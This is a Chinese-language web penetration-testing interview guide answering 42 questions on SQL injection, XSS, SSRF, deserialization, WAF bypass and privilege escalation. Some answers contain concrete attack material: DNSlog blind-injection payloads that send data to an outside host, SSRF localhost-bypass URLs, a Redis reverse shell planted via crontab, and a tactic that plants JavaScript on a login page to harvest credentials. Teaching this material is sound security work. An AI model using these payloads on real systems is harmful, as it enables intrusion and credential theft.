WEB42问

目录

1. SQL注入原理的种类?防御呢?预编译原理?

2.XSS的种类有哪些?区别?修复呢?

3. XSS,CSRF和SSRF区别?(很常问)

4.XXE漏洞了解吗?

5.PHP反序列化有了解吗?

6.逻辑漏洞遇到过哪些,给你登录框有没有什么思路?

7.CDN和DNS区别?CDN绕过思路?

8.常见的中间件漏洞知道哪些?

9.WAF绕过的手法你知道哪些?

10.命令无回显如何解决?

11.3389端口无法连接的几种情况?

12.常 问 的 端 口 信 息 ?

13.渗透测试的流程?(主要看自己)

14.什么是逻辑漏洞?说出至少三种业务逻辑漏洞,以及修复方式?

15.未授权访问你可以简单说说吗

16.打点一般会用什么漏洞?

17.平常怎么去发现shiro漏洞的?

18.weblogic权限绕过?

19.fastjson漏洞利用原理?

20.拿到webshell不出网情况下怎么办?

21.PHP 代码执行的危险函数?PHP 命令执行函数?

22.Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码?mssql 下又如何?

23.phpmyadmin写sehll的方法?

24.缓冲区溢出原理

25.SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?

26.phar协议如何利用,php伪协议input与post数据包 发送有什么区别?

27.ssrf怎么用redis写shell?

28.sqlmap自带脚本你知道哪些?由编写过吗?

29. SVN/GIT源代码泄露?

30.提权你了解过吗?udf提取原理是什么

31.讲诉一些近期及有代表性的漏洞

32.了解过解析漏洞,分别有哪些?

33.为何一个mysql数据库的站,只有一个80端口开放?

34.注入时可以不使用and 或or 或xor,直接order by开始注入吗?

35.在有shell的情况下,如何使用xss实现对目标站的长 久控制?

36.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

37.a***ess 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用?

38.对于不能直接上传而且只能通过命令行执行的shell,应该怎么办?

39.shiro不出网怎么利用?

40.文件包含Getshell思路?

41.文件上传绕过WAF思路?

42.xss的防护方法有哪些呢?httponly绕过?


一、 Web 常问( 42

1. SQL注入原理的种类?防御呢?预编译原理?

原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判
断,导致其传入的 数据 拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节, XFF
修复:使用预编译, PDO ,正则表达式过滤,开启魔术引号,加装 WAF
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的
模板,由后端的 SQL 引擎进行解析为 AST Opcode ,第二次交互发送数据,代
AST Opcode 中执行,无论后续向模板传入什么参数,这些参数仅仅被当成
字符串进行查询处理,因此杜绝了 sql 注入的产生。

2.XSS的种类有哪些?区别?修复呢?

种类:存储型,反射型, DOM
区别:存储型 : 常出现在信息修改添加等地方,导致恶意代码被存储在数据库
中,每当被攻击者访问到后就会触发执行;反射型:常出现在 url 中,一般需要
攻击者提前构造好恶意链接,欺骗用户点击,触发攻击代码; DOM 型:攻击代
码在 url 中,然后输出在了浏览器的 DOM 节点中。简单比较会发现,存储和反射
都经过服务器,而 DOM 是纯前端。
修复:对输入数据进行 Html Encode 处理,白名单过滤,过滤 JavaScript 事件的
标签,开启 http-only ,装 WAF 等。

3. XSS,CSRFSSRF区别?(很常问)

XSS : 跨 站 脚 本 攻 击 ;
CSRF :跨站请求伪造脚本攻击;
SSRF :服务器请求伪造攻击。
区别: XSS 是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器
在渲染服务器返回的 html 页面时,出现了预期值之外的脚本语句被执行。
CSRF CSRF 是服务器端没有对用户提交的数据进行随机值校验,且对 http 请求
包内的 refer 字段校验不严,导致攻击者可以利用用户的 Cookie 信息伪造用户请
求发送至服务器。 SSRF SSRF 是服务器对用户提供的可控 URL 过于信任,没有
对攻击者提供的 RUL 进行地址限制和足够的检测,导致攻击者可以以此为跳板攻
击内网或其他服务器。

4.XXE漏洞了解吗?

XXE 漏洞即 xml 外部实体注入漏洞 , 发生在应用程序解析 XML 输入时,没有禁止外
部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端
口、攻击内网网站、发起 dos 攻击等危害。

5.PHP反序列化有了解吗?

序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对
象。
此外, PHP 反序列化又可以简单分成两种,一种无类,一种有类,无类利用就略
微简单,如果源码会将输入的值进行反序列化,那我们就需要提前将数据序列化
后再传入。而想要利用有类就要用到魔术方法,而魔术方法就像一个潜规则一
样,例如我们在创建对象时,就会触发 construct(), 并执行 construct() 中的代
码。
5.1 JAVA 反序列化了解吗?有没有了解过 shrio 反序列化? ( 最常问,无论 hvv 还是
工作面试 )
Java 中的 ObjectOutputStream 类的 writeObject() 方法可以实现序列化,其
作用把对象转换成字节流,便于保存或者传输,而 ObjectInputStream 类的
readObject() 方法用于反序列化,作用就是把字节流还原成对象。
shiro 反序列化主要是 Apache shiro 提供了一个 remember 的一个功能,用
户登录成功后会生成经过加密并编码的 cookie ,保存在浏览器中方便用户的
日常使用,而服务器对 cookie 的处理流程就是先获取浏览器上保存的
cookie ,然后将其 bs64 解码,再进行 AES 解密,再将其反序列化进行校验,
而漏洞就是出现在这里,我们都知道 AES 它是一个硬编码,他是有默认密钥
的,如果程序员没有去修改或者过于简单,那我们就可以进行 cookie 重构,
先构造我们的恶意代码,然后将恶意代码进行序列化,然后 AES 加密 ( 密钥我
们已经爆破出来了 ) ,再进行 bs64 编码,形成我们新的 cookie ,而服务器在
处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。

6.逻辑漏洞遇到过哪些,给你登录框有没有什么思路?

常见逻辑漏洞:越权,响应包修改,支付金额修改, cookie 爆破,密码找回方面
等等
登录页面思路:爆破, session 覆盖, sql 注入, xss ,任意用户注册, js 文件查看
敏感信息,短信轰炸,万能密
码,二次注入,模板注入等等

7.CDNDNS区别?CDN绕过思路?

CDN :内容分发网络,主要作用就是让用户就近访问网络资源,提高响应速度,
降低网络拥堵。
DNS: 域名服务器,主要作用就是将域名翻译成 ip 地址。
CDN 绕过思路:子域名,内部邮件,黑暗引擎搜索,国外 ping ,证书及 DNS
询, app 抓包,配置不当泄露,扫全网, DOS 攻击等。

8.常见的中间件漏洞知道哪些?

IIS PUT 漏洞、短文件名猜解、远程代码执行、解析漏洞等
Apache :解析漏洞、目录遍历等
Nginx: 文件解析、目录遍历、 CRLF 注入、目录穿越等
Tomcat: 远程代码执行、 war 后门文件部署等
JBoss: 反序列化漏洞、 war 后门文件部署等
WebLogic: 反序列化漏洞、 SSRF 任意文件上传、 war 后门文件部署等
...........

9.WAF绕过的手法你知道哪些?

这里从以 sql 注入为例,从三个层面简单总结一下手法。
1. 从架构层面:找到服务器真实 IP ,同网段绕过, http https 同时开放服务绕
过,边缘资产漏洞利用绕过。
2. 从协议层面:分块延时传输,利用 pipline 绕过,利用协议未覆盖绕过, POST
GET 提交绕过。
3. 从规则层面:编码绕过,等价符号替换绕过,普通注释和内敛注释,缓冲区溢
出, mysql 黑魔法,白名单及静态资源绕过,文件格式绕过,参数污染。

10.命令无回显如何解决?

无回显:延时判断, http 请求监听, DNSlog 利用,写入当前目录下载查看等
等。

11.3389端口无法连接的几种情况?

1.3389 关闭状态, 2. 端口修改, 3. 防火墙连接, 4. 处于 内网环境, 5. 超过了服务
器最大连接数, 6. 管理员设置 权限,指定用户登录。

12.常 问 的 端 口 信 息 ?

21 FTP 文件传输协议
22 SSH 远程连接 23
TEL*** 远程登录 25
SMTP 邮件服务 53
DNS 域名系统
80 HTTP 超文本传输协议
443 HTTPS 安全超文本传输协议
1433 MSSQL
3306 MYSQL
3389 windows 远程桌面服务端口
7701 weblogic
8080 TCP,HTTP 协议代理服务器: Apache-tomcat 默认端口号

13.渗透测试的流程?(主要看自己)

单一网站:先判断有无 CDN ,有先找真实 ip ,无的话扫扫旁站, c 段,此外识别
CMS ,看看使用什么中间件,
插件,系统等等,再对其进行端口探测,目录扫描,查看网站的 js 文件,看看有
没有敏感信息泄露,找找看
看有没有 app ,公众号之类的等等扩大资产面,然后对收集到的信息进行常规的
漏洞探测
网段或区域:使用 goby 工具对资产进行一个批量的扫描,批量打点,然后对可
能存在漏洞的薄弱点进行漏洞探测

14.什么是逻辑漏洞?说出至少三种业务逻辑漏洞,以及修复方式?

逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致一些逻辑分支不能够正常处
理或处理错误。
拿支付漏洞来说,简单思路有价格修改,支付状态修改,数量最大值溢出,订单
替换,支付接口替换,四舍五入,越权支付等等。
拿登录来说,修改状态信息,密码修改跳过验证等等。
密码找回漏洞中存在: 1 )密码允许暴力破解、 2 )存在通用型找回凭证、 3 )可
以跳过验证步骤、 4 )找回凭证可以拦包获取。身份认证漏洞中最常见的是: 1 会话固定攻击、 2 Cookie 仿冒。只要得到 Session Cookie 即可伪造用户身
份。
验证码漏洞中存在: 1 )验证码允许暴力破解、 2 )验证码可以通过 Javascript
者改包的方法来进行绕过。

15.未授权访问你可以简单说说吗

Redis 未授权访问漏洞
未开启认证,导致可以直接连接到数据库,
然后在攻击机中生成 ssh 公钥和私钥,密码设置为空,
然后将生成的公钥写入,再利用私钥连接。
JBOSS 未授权访问漏洞
访问 ip/jmx-console 就可以浏览 jboss 的部署管理的信息面板,不需要输入用户
名和密码可以直接部署上传木马。
简单来说就是对某些页面的验证不严格导致绕过了用户验证的环节,使其可以直
接访问到某些登录后才能访问到的页面。

16.打点一般会用什么漏洞?

优先以 java 反序列化这些漏洞像 shiro fastjson weblogic ,用友 oa 等等进行打
点,随后再找其他脆弱性易打进去的点。因为 javaweb 程序运行都是以高权限有
限运行,部分可能会降权。

17.平常怎么去发现shiro漏洞的?

登陆失败时候会返回 rememberMe=deleteMe 字段或者使用 shiroScan 被动扫描
去发现
完整:
未登陆的情况下,请求包的 cookie 中没有 rememberMe 字段,返回包 set
Cookie 里也没有 deleteMe 字段
登陆失败的话,不管勾选 RememberMe 字段没有,返回包都会有
rememberMe=deleteMe 字段
不勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有
rememberMe=deleteMe 字段。但是之后的所有请求中 Cookie 都不会有
rememberMe 字段
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有
rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中
Cookie 都会有 rememberMe 字段

18.weblogic权限绕过?

通过静态资源来绕过权限验证,防止被重定向到登陆界面。
通过请求 .portal ,控制处理的 Servlet 是渲染 UI
MBeanUtilsInitSingleFileServlet
通过编码后的 ../ ,让最终渲染的模版是 console.portal

19.fastjson漏洞利用原理?

在请求包里面中发送恶意的 json 格式 payload ,漏洞在处理 json 对象的时候,没
有对 @type 字段进行过滤,从而导致攻击者可以传入恶意的 TemplatesImpl 类,
而这个类有一个字段就是 _bytecodes ,有部分函数会根据这个 _bytecodes
java 实例,这就达到 fastjson 通过字段传入一个类,再通过这个类被生成时执
行构造函数。

20.拿到webshell不出网情况下怎么办?

reg 上传去正向连接。探测出网协议,如 dns icmp

21.PHP 代码执行的危险函数?PHP 命令执行函数?

PHP 代码执行的危险函数: call_user_func() call_user_func_array()
create_function() array_map()
PHP 命令执行函数: system() shell_exec() passthru() exec() popen()
proc_open() putenv()

22.Sql 注入无回显的情况下,利用 DNSlogmysql 利用什么构造代码?mssql 下又如何?

没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙
的存在,容易被封禁 IP ,可以尝试调整请求频率,有条件的使用代理池进行请
求。
此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后
读取 DNS 解析时的日志,来获取想要的信息。
Mysql 中利用 load_file() 构造 payload ' and if((select load_file(concat('\\',
(selectdatabase()),'.xxx.cey e.io\abc'))),1,0)#
Mssql 下利用 master..xp_dirtree 构造 payload DECLARE @ host
varchar(1024);SELECT @ host=(SELECTdb_name())+'.
xxx.ceye.io';EXEC('master..xp_dirtree"'+@host+'\foobar$"');

23.phpmyadminsehll的方法?

常规导入 shell 的操作
一句话导出 shell
日志备份获取 shell

24.缓冲区溢出原理

由于 C/C++ 语言没有数组越界检查机制,当向局部数组缓冲区里写入的数据超过
为其分配的大小时,就会发生缓冲区溢出。攻击者可利用缓冲区溢出来窜改进程
运行时栈,从而改变程序正常流向,轻则导致程序崩溃,重则系统特权被窃取。
比如只有 1000 ,你写入 1500 ,多出了 500 ,其中的 100 在汇编里调用 JMP ,剩下
400 shellcode ,那 100 字节调用 JMP 跳到 shellcode ,然后反弹连接。

25.SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?

(1) 利用进制转换
(2) 利用 DNS 解析
(3) 利用句号( 127 0 0 1
(4) 利用 [::] http://[::]:80/ );
(5) 利用 @ http ://example.***@127.0.0.1 );
(6) 利用短地址( http ://dwz.***/11SMa );
(7) 协议( Dict:// SFTP:// TFTP:// LDAP:// Gopher://

26.phar协议如何利用,php伪协议inputpost数据包 发送有什么区别?

可以 Bypass 一些 waf ,绕过上传限制
Phar 反序列化, Phar:// 伪协议读取 phar 文件时,会反序列化 meta-data 储存
区别
application/x-www-form-urlencoded multipart/form-data 时,
php://input 中是原始数据。 $_POST 中是关联数组,且没有上传控件的内
容。
enctype="multipart/form-data" php://input 是无效的。
Content-Type = "text/plain" 时, $_POST 不能获取 post 的数据,
php://input 可以。

27.ssrf怎么用redisshell

SSRF 服务端请求伪造:
一、对内网扫描,获取 banner
二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如
Struts2 sqli 等)。
三、利用协议读取本地文件。
四、 云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS API
webligic SSRF 漏洞:通过 SSRF gopher 协议操作内网的 redis ,利用 redis 将反
shell 写入 crontab 定时任务, url 编码,将 \r 字符串替换成 %0d%0a

28.sqlmap自带脚本你知道哪些?由编写过吗?

1 apostrophemask.py :将引号替换为 UTF-8, 用于过滤单引号。
2 base64encode.py : 替换为 base64 编码。
3 multiplespaces.py: 围绕 SQL 关键字添加多个空格。
4 space2plus.py: + 号替换为空格。

29. SVN/GIT源代码泄露?

在使用 SVN 管理本地代码过程中,会自动生成一个名为 .svn 的隐藏文件夹,其中
包含重要的源代码信息:
使用 git 进行版本控制,对站点自动部署。如果配置不当,可能会将 .git 文件夹直
接部署到线上环境。这就引起了 git 泄露漏洞。

30.提权你了解过吗?udf提取原理是什么

udf 文件放到指定位置( Mysql>5.1 放在 Mysql 根目录的 lib\plugin 文件夹下)
udf 文件中引入自定义函数 (user defined function)
执行自定义函数

31.讲诉一些近期及有代表性的漏洞

Microsoft Exchange .*** 反序列化远程代码执行 (CVE-2020-0688) :该漏洞是由
Exchange 控制面板( ECP )组件中使用了静态密钥 validationKey
decryptionKey
Apache Tomcat 文件包含漏洞 (CVE-2020-1938) :默认情况下 ,Tomcat 会开启
AJP 连接器 , Tomcat AJP 协议的实现上存在漏洞 , 导致攻击者可以通过发送恶意
的请求 , 可以读取或者包含 Web 根目录下的任意文件 , 配合文件上传,将导致任意
代码执行 (RCE)
Weblogic IIOP 反序列化漏洞( CVE-2020-2551 ): weblogic 核心组件中 IIOP
议,通过该协议对存在漏洞的 WebLogic 进行远程代码执行的攻击。 Apache Solr 远程代码执行( CVE-2019-12409 ):默认配置文件 solr.in.sh, 在其
配置文件中 ENABLE_REMOTE_JMX_OPTS 字段默认配置不安全 . 如果使用默认配
, 将启用 JMX 监视服务并将对公网监听 18983 RMI 端口 , 无需任何验证 , 配合 JMX
RMI 远程代码执行。
SHIRO-550 反序列化漏洞: shiro 默认使用了 CookieRememberMeManager
其处理 cookie 的流程是:得到 rememberMe cookie -->Base64 解码 -->AES
--> 反序列化。 AES 的密钥是硬编码在代码里,就导致了反序列化的 RCE 漏洞。
SHIRO-721 反序列化漏洞:不需要 key ,利用 PaddingOracle Attack 构造出
RememberMe 字段后段的值结合合法的 RememberMe cookie 即可完成攻击。
泛微 Ecology OA SQL 注入漏洞: validate.jsp 接口的 SQL
入, /cpt/manage/validate.jsp 。泛微 ecology OA 系统接口存在数据库配置信息
泄露: /mobile/dbconfigreader.jsp, 直接访问该页面将为 DES 加密以后的乱码 , 使
DES 算法结合硬编码的 key 进行解密。
Confluence 本 地 文 件 泄 露 漏 洞 (CVE-2019-3394)catalina.jar 中的
org.apache.catalina.webresources.StandardRoot.class getResource 方法的
validate 存在过滤和限制,所以可遍历路径均在 /WEB-INF 下。
Apache Dubbo 反序列化漏洞( CVE-2019-17564 ):当 HTTP remoting 开启的
时候,存在反序列化漏洞。

32.了解过解析漏洞,分别有哪些?

IIS
1 、在网站目录 .asp .asa 下的任何扩展名的文件格式都会被解析为 asp 并执行在
目录 .asp 下, .txt 文本文件被解析。
2 、在 IIS6.0 上,分号 ; 后面的不解析。
nginx
1 、在网站目录下创建文件 demo2.jpg ,然后再浏览器 中 访 问 http://192.168.1
1.131/test2/demo2.jpg/aaa.php 服务器对请求的内容是从右向左的。 Nginx
到文件路径(更专业的说法是 URI /test.jpg/test.php 后,一看后缀是 .php ,便
认为该文件是 php 文件,转交给 php 去处理。 php 一看 /test.jpg/test.php 不存
在,便删去最后的 /test.php ,又看 /test.jpg 存在,便把 /test.jpg 当成要执行的文
件了,又因为后缀为 .jpg php 认为这不是 php 文件,于是返回 “A***ess
denied.”
2 00 截断
apache
1 Apache 解析文件的时候是按照从右向左的方
式,直到遇到自己能解析的脚本后缀

33.为何一个mysql数据库的站,只有一个80端口开放?

更改了端口,没有扫描出来。站库分离。 3306 端口不对外开放。

34.注入时可以不使用and or xor,直接order by开始注入吗?

and/or/xor ,前面的 1=1 1=2 步骤只是为了判断是否为注入点,如果已经确定
是注入点那就可以省那步骤去。

35.在有shell的情况下,如何使用xss实现对目标站的长 久控制?

后台登录处加一段记录登录账号密码的 js ,并且判断是否登录成功,如果登录成
功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件
中。 ( 此方法适合有价值并且需要深入控制权限的网络 )
在登录后才可以访问的文件中插入 XSS 脚本。

36.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能 web 服务器配置把上传目录写死了不执行相应脚本,尝试改后
缀名绕过。

37.a***ess 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用?

迅雷下载,直接改后缀为 .mdb

38.对于不能直接上传而且只能通过命令行执行的shell,应该怎么办?

使用 bitsadmin 进行下载
使用 powershell 进行下载
使用 certutil 进行下载
使用 WGET 进行下载 https://blog.csdn.***/weixin_42918771/article/details/1
10394116

39.shiro不出网怎么利用?

定位 Web 目录写入文件
构造回显
内存马
时间延迟获取 Web 路径写入 webshell

40.文件包含Getshell思路?

php中引发文件包含漏洞的通常是以下四个函数:

  1. include()
  2. include_once()
  3. require()
  4. require_once()

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句

include() 如果出错的话,只会提出警告,会继续执行后续语句。

require_once()include_once() 功能与require()include() 类似。但如果一个文件已经被包含过了,则 require_once()include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

41.文件上传绕过WAF思路?

引号变换
大小写变换
添加换行符
多个分号
多个等号
变换Content-Disposition的值
畸形的boundary头部
交换name和filename的顺序
交换Content-Disposition和Content-Type的顺序
交换不同boundary内容的顺序
boundary内容重复
filename重复
数据溢出
name与filename之间插入垃圾数据
boundary字符串中加入垃圾数据
boundray末尾插入垃圾数据
multipart/form-data与boundary之间插入垃圾数据
数据截断
回车换行截断
分号截断
引号截断
00截断

42.xss的防护方法有哪些呢?httponly绕过?

输 入 过 滤
纯前端渲染
转义 HTML
CVE-2012-0053
PHPINFO 页面(如果目标网站存在 PHPINFO 页面,就可以通过
XMLHttpRequest 请求该页面获取 Cookie 信息( $_SERVER[“HTTP_COOKIE”]
打印出具有 httponly 属性的 cookies ))。
iframe 框架钓鱼(通过标签嵌入一个远程域,完全撑开后,以覆盖原有的页
面)。跳转钓鱼(通过购买相似名,构建相同的钓鱼页面,使受害者跳转至钓鱼
站)。
历史密码(通过 js 伪造登录表单,欺骗浏览器自动填入,由此获取浏览器记住的
历史密码)。
转载请说明出处内容投诉
CSS教程_站长资源网 » WEB42问

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买